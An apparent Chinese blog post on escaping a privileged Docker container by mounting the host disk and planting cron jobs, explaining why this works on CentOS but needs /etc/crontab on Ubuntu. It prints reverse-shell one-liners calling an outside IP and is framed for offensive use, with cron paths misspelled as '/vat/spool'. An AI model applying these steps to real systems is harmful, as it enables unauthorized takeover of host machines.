vlambda博客
学习文章列表

Docker逃逸-Ubuntu与Centos计划任务问题与解决办法


背景


    当我拿到一个主机的权限后, 经过测试, 发现是docker环境, 这时需要docker逃逸拿到宿主机权限, 使用特权模式逃逸, 挂载宿主机磁盘然后向宿主机写入定时任务的方法, 然而当我写入命令之后, 饭都吃完了也没见shell弹回来, 于是打开虚拟机开始进行测试。


预备知识

Docker逃逸-Ubuntu与Centos计划任务问题与解决办法


Dcoker逃逸

Ubuntu-普通用户定时任务文件: /vat/spool/cron/用户名

Ubuntu-root用户定时任务文件: /vat/spool/cron/crontabs/用户名(root)

Centos-user和root的文件位置相同: /vat/spool/cron/用户名


Ubuntu/Debian测试过程

Docker逃逸-Ubuntu与Centos计划任务问题与解决办法


    因为目标宿主机的发行版本是Ubuntu, 于是用Ubuntu进行测试。

    /tmp目录文件如下

Docker逃逸-Ubuntu与Centos计划任务问题与解决办法

    为了避免权限的影响, 这里切换到root进行测试

    写入计划任务, 每分钟往/tmp/1.txt写入数据

Docker逃逸-Ubuntu与Centos计划任务问题与解决办法

    等待数分钟后/tmp下未出现1.txt

Docker逃逸-Ubuntu与Centos计划任务问题与解决办法

    这跟docker逃逸的时候情况一样, 很合理 → _→

    这里我们用crontab -e命令

Docker逃逸-Ubuntu与Centos计划任务问题与解决办法

    可以看到该命令打开的依然是我们之前编辑的文件, 此时我们不做任何更改直接:wq保存退出, 然后神奇的事情发生了, /tmp目录下产生了1.txt

Docker逃逸-Ubuntu与Centos计划任务问题与解决办法

    这里猜测可能是因为直接写入文件后, 新的命令没有被加载到内存中去, 于是尝试重启Ubuntu, 结果是, 还是不行。目前来看应该是必须要经过crontab -e才可。

Centos测试

Docker逃逸-Ubuntu与Centos计划任务问题与解决办法

    /tmp下目录如下

Docker逃逸-Ubuntu与Centos计划任务问题与解决办法

    一样的, 先直接echo进去

Docker逃逸-Ubuntu与Centos计划任务问题与解决办法

    查看/tmp下文件

Docker逃逸-Ubuntu与Centos计划任务问题与解决办法

    此时发现Centos系统下, echo进定时任务文件的任务直接可以正常执行了 

     

测试结论

Docker逃逸-Ubuntu与Centos计划任务问题与解决办法

    

    经过测试我们发现, 当我们拿到docker的权限后, 可以尝试mount宿主机磁盘, 尝试向宿主机写入计划任务来拿到一个宿主机的权限, 而通过常规方法的话, 我们只能向Centos的宿主写入计划任务, 否则我们的命令不会被Ubuntu宿主机执行, 哪怕是重启cron的相关服务或者重新启动Ubuntu。

    那当我们面对目标主机是Ubuntu的情况就另寻他路吗? 在一系列尝试之后我发现了一个新的方法。


Ubuntu下解决方法

Docker逃逸-Ubuntu与Centos计划任务问题与解决办法


    前面我已经通过suid提权拿下了docker的root权限

Docker逃逸-Ubuntu与Centos计划任务问题与解决办法

    这里我们挂载磁盘到/em

Docker逃逸-Ubuntu与Centos计划任务问题与解决办法

    圈重点

    通过查阅资料, 发现还有一个/etc/crontab文件

    该文件也可以用作定时任务

Docker逃逸-Ubuntu与Centos计划任务问题与解决办法

    写入命令

Docker逃逸-Ubuntu与Centos计划任务问题与解决办法

    开启监听

Docker逃逸-Ubuntu与Centos计划任务问题与解决办法

    收到root权限shell


    这里需要注意的地方 (包括前面提权的时候劫持环境变量的时候), 直接写入反弹shell的命令是执行不了的

bash -i >& /dev/tcp/192.168.43.21/4002 0>&1

    这里是因为调用的程序问题, 写成下面的写法即可

echo 'bash -i >& /dev/tcp/xxx.xx.xxx.xxx/4006 0>&1' | bash

    这种写法我经常用, 在很多无回显的情况下止少走很多弯路或者解决很多玄学问题

    另外, 这种写法的话, centos系统同样也是适用的, 为了保证文章的可读性和长度的友好性, 尽量写的通俗易懂, 这个大家可以自己尝试。


结束语与彩蛋

    

    才疏学浅, 文章写多了难免会有错误或者不恰, 如有错误欢迎师傅们提出指正。

    其实除了文中的/etc/crontab以外, 还有一个文件也可以达到相同的效果, 但是那个文件内容不是一行一行的, 不能直接写, 这时候可以copy过来本机编辑器打开修改之后再覆盖回去, 这个师傅们可以自己试一下。

    祝师傅们每天shell拿到手软, shell一弹就是root, 你们都是大黑客。